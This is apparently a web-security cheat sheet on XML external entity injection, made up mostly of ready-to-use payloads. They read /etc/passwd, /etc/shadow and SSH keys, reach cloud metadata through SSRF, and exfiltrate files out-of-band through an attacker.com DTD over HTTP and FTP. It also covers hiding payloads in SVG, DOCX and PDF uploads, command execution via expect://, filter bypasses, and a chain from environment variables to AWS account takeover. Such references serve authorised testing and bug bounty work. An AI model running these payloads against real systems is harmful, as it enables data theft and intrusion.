Skip to content
Web Security

XXE

XML external entity injection with OOB extraction and advanced payloads

Detection

Where to Test

TEXT
- XML request bodies (Content-Type: application/xml)
- SOAP web services
- File uploads (DOCX, XLSX, SVG, PDF)
- SAML authentication
- RSS/Atom feeds
- Office documents (Open XML)
- Configuration imports
- API endpoints accepting XML

Quick Test

XML
<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe "XXE_WORKS">
]>
<root>&xxe;</root>

Basic Exploitation

File Disclosure

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Common Files to Read

TEXT
# Linux
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///home/user/.ssh/id_rsa
file:///home/user/.bash_history
file:///proc/self/environ
file:///proc/self/cmdline
file:///var/log/apache2/access.log

# Windows
file:///c:/windows/win.ini
file:///c:/windows/system.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/inetpub/wwwroot/web.config

SSRF via XXE

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<root>&xxe;</root>

<!-- Cloud metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Blind XXE (Out-of-Band)

Parameter Entity + External DTD

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

evil.dtd (On Attacker Server)

XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

FTP Exfiltration (For Multi-Line Files)

XML
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

<!-- Run FTP server on attacker: nc -lvnp 21 -->

Error-Based XXE

Extract Data via Error Messages

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<root>test</root>

<!-- Error message contains file contents -->

File Upload XXE

SVG

XML
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="100" xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

DOCX/XLSX (Office Open XML)

TEXT
1. Create or extract DOCX/XLSX
2. Modify word/document.xml or xl/sharedStrings.xml
3. Add XXE payload
4. Re-zip and upload

# Inject into [Content_Types].xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/callback">
]>
<Types xmlns="...">&xxe;</Types>

PDF (Some Parsers)

TEXT
%PDF-1.4
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

XXE to RCE

PHP expect:// Wrapper (If Enabled)

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://whoami">
]>
<root>&xxe;</root>

Jar Protocol (Java)

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
]>
<root>&xxe;</root>

Bypass Techniques

When ENTITY Blocked

XML
<!-- Use parameter entities -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%xxe;'>">
  %eval;
  %exfil;
]>

When DOCTYPE Blocked

XML
<!-- Try XInclude -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Encoding Bypass

XML
<!-- UTF-16 -->
<?xml version="1.0" encoding="UTF-16"?>

<!-- UTF-7 -->
<?xml version="1.0" encoding="UTF-7"?>

Protocol Variations

TEXT
file:///etc/passwd
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd
php://filter/read=convert.base64-encode/resource=/etc/passwd
netdoc:///etc/passwd

PHP-Specific

Stream Wrappers for Files with Special Chars

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

<!-- Decode: echo "base64_output" | base64 -d -->

Exfil PHP Source Code

XML
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">

SOAP XXE

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <request>&xxe;</request>
  </soap:Body>
</soap:Envelope>

Bug Bounty Tips

What to Look For

TEXT
- Any XML processing
- Content-Type: application/xml accepted
- File uploads (Office docs, SVG)
- SAML SSO implementations
- API endpoints (try changing JSON to XML)
- Legacy SOAP services

Content-Type Switching

TEXT
# Original
Content-Type: application/json
{"email":"test@test.com"}

# Try XML
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><email>&xxe;</email></root>

High-Impact Chain

TEXT
1. XXE file read → get /proc/self/environ
2. Extract AWS credentials from env
3. Access S3/EC2/etc. with credentials
4. Full cloud account compromise

Detection Checklist

TEXT
□ Send basic DTD, check for error
□ Try file:///etc/passwd
□ Send OOB request to burp collaborator
□ Try parameter entities if regular blocked
□ Test file uploads for XXE
□ Check SAML endpoints
□ Content-Type switch (JSON → XML)
On this page